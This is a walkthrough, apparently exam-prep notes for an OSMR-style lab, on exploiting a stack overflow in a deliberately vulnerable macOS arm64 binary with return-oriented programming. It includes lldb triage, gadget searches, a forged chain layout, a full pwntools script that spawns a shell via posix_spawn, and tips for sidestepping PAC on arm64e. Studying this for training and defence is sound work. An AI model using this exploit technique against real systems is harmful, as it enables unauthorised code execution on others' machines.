macOS userland ROP walkthrough
Userland ROP on macOS arm64 is not Windows x64 with different mnemonics. The calling convention, the dyld shared cache layout, and PAC on arm64e change the gadget economy. This walkthrough mirrors the shape of an OSMR lab: a vulnerable C binary with a classic stack overflow, no stack canary, and the goal of spawning a shell without writing shellcode. See macos-userland-mitigations for the mitigation backdrop and rop-chains for the generic theory.
Target triage
The binary is a setuid-less Mach-O compiled with -fno-stack-protector -Wl,-no_pie on an Apple Silicon host running an arm64 (not arm64e) slice. That distinction matters: arm64 user binaries do not sign return addresses, while arm64e binaries do. See pac-arm64e-bypass for why we deliberately picked the arm64 slice for the first chain.
1
2
3
4
$ file ./vuln
./vuln: Mach-O 64-bit executable arm64
$ otool -hv ./vuln | grep -E 'PIE|NX'
$ codesign -dv ./vuln 2>&1 | grep Flags
No PIE means the main image base is fixed at 0x100000000. The dyld shared cache slides per boot, so libc gadgets need a leak. For the lab we trigger an objc_msgSend log line that prints a libsystem_c.dylib pointer; in a real exam expect to chain an info leak first.
Finding the overflow with lldb
1
2
3
4
5
(lldb) target create ./vuln
(lldb) b read_input
(lldb) r < <(python3 -c 'import sys;sys.stdout.buffer.write(b"A"*512)')
(lldb) bt
* thread #1, stop reason = EXC_BAD_ACCESS (code=1, address=0x4141414141414141)
The crash address in pc is the saved x30 (link register) restored from the stack frame. On arm64 the prologue typically does stp x29, x30, [sp, #-0x20]!, so overwriting at offset frame_size + 8 controls x30, which becomes pc after ret. Cyclic pattern gives offset 264.
Gadget hunting
Ropper handles fat Mach-Os but is happier on a thin slice. Extract gadgets from the binary and from a dumped libsystem_c.dylib via dyld-shared-cache-extractor.
1
2
$ ropper --file ./vuln --nocolor --search "ldp x29, x30"
$ ropper --file ./libsystem_c.dylib --search "mov x0, x%; ret"
What we need for posix_spawn(pid, path, NULL, NULL, argv, envp):
pop x0equivalents:ldp x0, x1, [sp], #0x10 ; retpop x2/x3/x4/x5for the remaining args- A
bl _posix_spawnor its resolved address from the leak
Pure pop reg ; ret is rare on arm64. You will usually find ldp pairs and add sp, sp, #N ; ldp x29, x30, [sp,#M] ; ret. The chain is essentially a sequence of stack frames you forge.
Chain shape
1
2
3
4
5
6
7
8
9
frame 0: AAAA*264
frame 1: gadget_setup_x0_x1 -> ldp x0,x1,[sp],#0x10 ; ret
"/bin/sh\0" pointer (in writable scratch on stack)
NULL
frame 2: gadget_setup_x2_x3 -> ldp x2,x3,[sp],#0x10 ; ret
NULL ; NULL
frame 3: gadget_setup_x4_x5 -> ldp x4,x5,[sp],#0x10 ; ret
argv_ptr ; envp_ptr
frame 4: addr_of_posix_spawn
Two practical gotchas:
posix_spawnwantsargvandenvpaschar **. You must place theargvarray on the stack and pass its address, not the string address.- Stack must stay 16-byte aligned at every
bl/retboundary. An off-by-8 gadget will SIGBUS inside libc.
If you cannot satisfy alignment cleanly, fall back to execve via the __SYS_execve syscall stub at _execve in libsystem. The syscall ABI uses x16 for the syscall number and a svc #0x80 trampoline; ROPing the libc wrapper is simpler.
pwntools transcript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.arch = 'aarch64'
context.endian = 'little'
p = process('./vuln')
leak = int(p.recvline_contains(b'libc@').split(b'@')[1], 16)
libc = leak - 0x1a4c0 # offset of leaked symbol
POP_X0_X1 = libc + 0x9d2c
POP_X2_X3 = libc + 0xb118
POP_X4_X5 = libc + 0xb11c
POSIX_SPAWN = libc + 0x52a40
binsh = libc + 0x1c4a18 # "/bin/sh"
argv = libc + 0x1c4a20 # precomputed argv array
chain = b'A'*264
chain += p64(POP_X0_X1) + p64(0) + p64(binsh)
chain += p64(POP_X2_X3) + p64(0) + p64(0)
chain += p64(POP_X4_X5) + p64(argv) + p64(0)
chain += p64(POSIX_SPAWN)
p.sendline(chain)
p.interactive()
PAC on arm64e
Run the same chain against an arm64e build and every forged x30 blows up at retab. PAC signs return addresses with a per-process key tweaked by sp. Practical options in OSMR-shaped labs: pivot to a pac-arm64e-bypass primitive (signing oracle, A/B key confusion, or leaking a valid signed pointer), or aim the exploit at an arm64 process such as a Rosetta-translated binary where PAC does not apply. Do not waste exam time fighting PAC on a target where a non-PAC path exists.
What I drill before the exam
- Build the chain twice from scratch under time pressure. Muscle memory on
ldp/stpframing matters. - Keep a cheat sheet of common libc gadget offsets per macOS minor version. The dyld cache shuffles between point releases.
- Practice info leak primitives that give a libsystem pointer cheaply. Pair with macos-mach-port-exploitation-walkthrough for kernel-side follow-on.
See osmr-exam-strategy for time allocation and which lab archetypes to attempt first.